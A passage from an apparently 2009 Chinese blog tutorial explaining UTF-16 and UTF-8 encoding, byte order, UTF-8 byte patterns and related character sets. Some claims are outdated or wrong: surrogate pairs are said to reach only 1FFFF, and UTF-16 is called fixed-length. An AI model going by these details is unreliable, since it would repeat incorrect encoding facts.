Unicode 3.0没有用到代理对,直到3.1才增加了CJK Ext B,用到了02平面,需要使用代理对才能访问。但99.99%的情况下,根本用不到那些字。此外,JDK1.4只支持到Unicode 3.0,所以目前Java还不能应用代理对。

UTF编码
UTF为UCS Transformation Format的缩写,意为“UCS转换格式”。UCS只是一个字形和内码上的标准,并没有定义实际在计算机上存取的方法,而UTF便定义了一整套的计算机存取UCS编码的转换格式,并考虑了与其它编码方式兼容。常用的格式有UTF-8和UTF-16。有时也用到UTF-7来进行7位数据传输。

UTF-16

UTF-16是用定长16位(2字节)来表示的UCS-2或Unicode转换格式。它将Unicode的编码值变成2字节的Big-endian(高位字节在前,低位字节在后)或Little-endian(低位字节在前,高位字节在后)编码。UTF-16利用代理对来访问BMP之外的字符编码。

Java使用Big-endian系统,而Intel系列处理器内部使用Little-endian系统(学汇编语言和C语言的人都知道)。

例如:“中国”两字,Unicode是4E2D 56FD,在Windows上用UTF-16编码,结果为四个字节:2D 4E FD 56;如果使用Java输出,结果为:4E 2D 56 FD。

使用UTF-16有什么缺点呢?很显然,

1.   所有原本1个字节就可以表示的西方字符,现在要用2个字节来表示,体积大了一倍。

2.   学过C的人都知道,0x00代表C字符串的结尾。但是用UTF-16来表示单字节字符(ISO-8859-1)时,高位字节为0x00。这样就会使C语言库函数发生误判。用UTF-16表示文件名、网址等,全引出无数的问题。

3.   字符的边界不好找。程序处理时必须从字符串的头部开始扫描,才可能正确地找出一个字符的边界,效率较低。此外,万一坏掉一个字节,这个字节之后的字符都会错位,坏掉一片。

所有的这些问题,在UTF-8中都不存在。

但是,UTF-16也有其天然的优点:它直接表现了字符编码的整数值。所以UTF-16是最直接的Unicode表示法。此外,它是定长的,这大大简化了字符串的操作。Java语言就是用UTF-16格式将字符存储在内存中的。正是这样,才使Java的Unicode字符串的操作格外简单高效。

UTF-8

UTF-8使用了变长技术,在每一个编码区域有不同的字码长度:

1.   对UCS-2,由1字节至3字节构成;

2.   如果UCS-2使用了代理对,则UTF-8最长可到4字节;

3.   对UCS-4,由1字节至6字节构成。

因为以字节(8位)为组成单元,故称为“UTF-8”。对于英文文本,UTF-8的文件大小比其它转换格式都小。

在UTF-8内,字符由1个至6个字节为组合。下表列举出了不同范围的UCS码转换成UTF-8的规则。英文字母“x”代表可以用来记录 Unicode 码值的区域。

UCS-4 区域(十六进制)
UTF-8字节组合(二进制)

0000 0000 —— 0000 007F
0xxxxxxx

0000 0080 —— 0000 07FF
110xxxxx 10xxxxxx

0000 0800 —— 0000 FFFF
1110xxxx 10xxxxxx 10xxxxxx

0001 0000 —— 001F FFFF
11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

0020 0000 —— 03FF FFFF
111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx

0400 0000 —— 7FFF FFFF
1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx

在UTF-8内,

1.   如果一个字节,最高位(第8位)为0,表示这是一个ASCII字符(00 - 7F)。可见,所有ASCII编码已经是UTF-8了。

2.   如果一个字节,以11开头,连续的1的个数暗示这个字符的字节数,例如:110xxxxx代表它是双字节UTF-8字符的首字节。

3.   如果一个字节,以10开始,表示它不是首字节,需要向前查找才能得到当前字符的首字节。

可见UTF-8可以有效地保证数据的完整性,避免出现编码的错位。即使偶然出现“坏字”,也不会影响到后续的文本。

那么UTF-8有什么缺点呢?显然,对于在BMP中的中文字来说,需要用3个字节才能表示,比使用UTF-16或直接使用双字节的GB2312编码大了0.5倍。

上文说了一大通,总结一下,其实很简单:

字符编码是抽象字符在计算机中的数字表示。
字符编码集(character set,简称字符集)是一批字符编码的集合。世界上存在大量互不兼容的字符集,给国际交流带来了困难。
ASCII码是最古老的字符编码,它总共只定义了7位共128个字母、数字和符号。但它是其它所有字符编码的基础。
Unicode用16位整数编码,将世界上所有主要文字的字符统一起来了。如果利用代理对(surrogate pair)最多可以表示从0到1FFFF的字符。然而绝大多数情况下,只需要用到0到FFFF之间的字符就足够了。
Unicode常用UTF-8和UTF-16来表示。7位的ASCII码不用作任何变化,就已经是UTF-8了。但UTF-8需要用3个字节来表示一个汉字。
ISO 8859系列字符集,定义了单字节字符编码的标准。其中最特殊的是ISO-8859-1编码,它的编码和Unicode中最开始的256个字符编码完全相同。
GB18030编码是中国大陆的国家标准,在字汇上等同于Unicode,在编码上和GB2312编码以及GBK编码兼容。

本文来源:http://blog.csdn.net/sfdev/archive/2009/01/13/3770706.aspx